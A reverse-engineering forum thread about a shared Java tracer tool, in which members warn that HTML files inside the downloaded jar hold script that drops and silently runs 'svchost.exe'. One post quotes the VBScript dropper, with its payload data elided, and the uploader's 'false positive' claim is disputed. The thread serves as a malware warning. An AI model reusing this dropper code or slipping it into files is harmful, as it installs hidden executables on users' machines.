Exetools  

Go Back   Exetools > General > Community Tools

Notices

Reply
 
Thread Tools Display Modes
  #1  
Old 01-09-2018, 23:19
CodeCracker CodeCracker is offline
VIP
 
Join Date: Jun 2011
Posts: 453
Rept. Given: 27
Rept. Rcvd 398 Times in 129 Posts
Thanks Given: 21
Thanks Rcvd at 1,812 Times in 348 Posts
CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399
Tracer v2

Tracer v2
Java tracer, this time as a standalone jar,
Just select a Jar and an output text file,
click Trace, and wheel that's it!
classes which start with "java." can't be logged!

Download link:
http://www18.zippyshare.com/v/qhcVnrK0/file.html

Last edited by CodeCracker; 01-17-2018 at 05:03.
Reply With Quote
The Following 2 Users Say Thank You to CodeCracker For This Useful Post:
niculaita (01-09-2018), wilson bibe (01-10-2018)
  #2  
Old 01-11-2018, 01:33
Kerlingen Kerlingen is offline
VIP
 
Join Date: Feb 2011
Posts: 324
Rept. Given: 0
Rept. Rcvd 276 Times in 98 Posts
Thanks Given: 0
Thanks Rcvd at 308 Times in 95 Posts
Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299
This file contains a VIRUS !!!

No, it's no false positive. There are at least seven HTML files "package.html" inside which contain JavaScript to drop a file called "svchost.exe"
Reply With Quote
The Following 6 Users Say Thank You to Kerlingen For This Useful Post:
dila (01-12-2018), niculaita (01-11-2018), QuakeGamer (01-15-2018), tonyweb (01-15-2018), Zeokat (01-12-2018), zeuscane (01-12-2018)
  #3  
Old 01-11-2018, 20:33
cybercoder cybercoder is offline
Friend
 
Join Date: Aug 2005
Posts: 114
Rept. Given: 2
Rept. Rcvd 11 Times in 8 Posts
Thanks Given: 22
Thanks Rcvd at 46 Times in 31 Posts
cybercoder Reputation: 11
Yep actually looks pretty dodgy, seems to try and use vbscript to drop svchost.exe

--<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = ......

Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
</SCRIPT>

Haven't actually checked out the file that is to be dropped yet.
Reply With Quote
  #4  
Old 01-15-2018, 23:28
Zeokat Zeokat is offline
Friend
 
Join Date: Dec 2017
Posts: 81
Rept. Given: 0
Rept. Rcvd 14 Times in 10 Posts
Thanks Given: 371
Thanks Rcvd at 227 Times in 56 Posts
Zeokat Reputation: 14
I could read same report at another forum and CodeCracker replied saying that is a false positive. But... i still have my doubts
Reply With Quote
  #5  
Old 01-17-2018, 04:58
CodeCracker CodeCracker is offline
VIP
 
Join Date: Jun 2011
Posts: 453
Rept. Given: 27
Rept. Rcvd 398 Times in 129 Posts
Thanks Given: 21
Thanks Rcvd at 1,812 Times in 348 Posts
CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399
False positive due to some htmls present under jar archive.
If you already runed the jar file don't be alarmed since the html
are not executed, and not even used.
Htmls removed, check:
http://www18.zippyshare.com/v/qhcVnrK0/file.html
Reply With Quote
The Following 2 Users Say Thank You to CodeCracker For This Useful Post:
niculaita (01-17-2018), yoza (01-24-2018)
  #6  
Old 01-17-2018, 20:56
sendersu sendersu is offline
VIP
 
Join Date: Oct 2010
Posts: 1,064
Rept. Given: 332
Rept. Rcvd 223 Times in 115 Posts
Thanks Given: 234
Thanks Rcvd at 512 Times in 288 Posts
sendersu Reputation: 200-299 sendersu Reputation: 200-299 sendersu Reputation: 200-299
so who and why the hell added malware html into your archives?
Reply With Quote
  #7  
Old 01-18-2018, 01:26
Kerlingen Kerlingen is offline
VIP
 
Join Date: Feb 2011
Posts: 324
Rept. Given: 0
Rept. Rcvd 276 Times in 98 Posts
Thanks Given: 0
Thanks Rcvd at 308 Times in 95 Posts
Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299
Quote:
Originally Posted by CodeCracker View Post
False positive
Please, read the definition before stating something obviously wrong:
Quote:
A false positive error, or in short a false positive, commonly called a "false alarm", is a result that indicates a given condition exists, when it does not.
The fact that the malware doesn't execute just by downloading doesn't make it a false positive.

Or would you call the ebolavirus "false positive" just because it's contained inside a glass phial?
Reply With Quote
The Following 2 Users Gave Reputation+1 to Kerlingen For This Useful Post:
evlncrn8 (01-18-2018), yoza (01-24-2018)
The Following User Says Thank You to Kerlingen For This Useful Post:
Mkz (08-03-2018)
  #8  
Old 07-17-2018, 01:24
rooster1 rooster1 is offline
Friend
 
Join Date: Jan 2014
Posts: 11
Rept. Given: 9
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 24
Thanks Rcvd at 11 Times in 6 Posts
rooster1 Reputation: 5
@CodeCracker can this be used for a jar file that is launched with an EXE file?
Reply With Quote
  #9  
Old 07-17-2018, 02:20
CodeCracker CodeCracker is offline
VIP
 
Join Date: Jun 2011
Posts: 453
Rept. Given: 27
Rept. Rcvd 398 Times in 129 Posts
Thanks Given: 21
Thanks Rcvd at 1,812 Times in 348 Posts
CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399 CodeCracker Reputation: 300-399
It can trace only jars

Quote:
Originally Posted by rooster1 View Post
@CodeCracker can this be used for a jar file that is launched with an EXE file?
No, it can trace only jars currently, the main reason is that it uses asm objectweb to inject trace commands on classes,
You could try JavaClassManager
https://forum.exetools.com/showthread.php?t=18592
to try to save loaded classes.
JavaClassManager can launch both jar and exe extensions,
it is just a matter of intercepting class loading and editing classes to do what you want.
Reply With Quote
The Following User Says Thank You to CodeCracker For This Useful Post:
niculaita (07-17-2018)
  #10  
Old 07-17-2018, 03:53
rooster1 rooster1 is offline
Friend
 
Join Date: Jan 2014
Posts: 11
Rept. Given: 9
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 24
Thanks Rcvd at 11 Times in 6 Posts
rooster1 Reputation: 5
Thanks for the guidance bro. i will try your recommendation
peace
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



All times are GMT +8. The time now is 10:47.


Always Your Best Friend: Aaron, JMI, ahmadmansoor, ZeNiX, chessgod101
( 1998 - 2024 )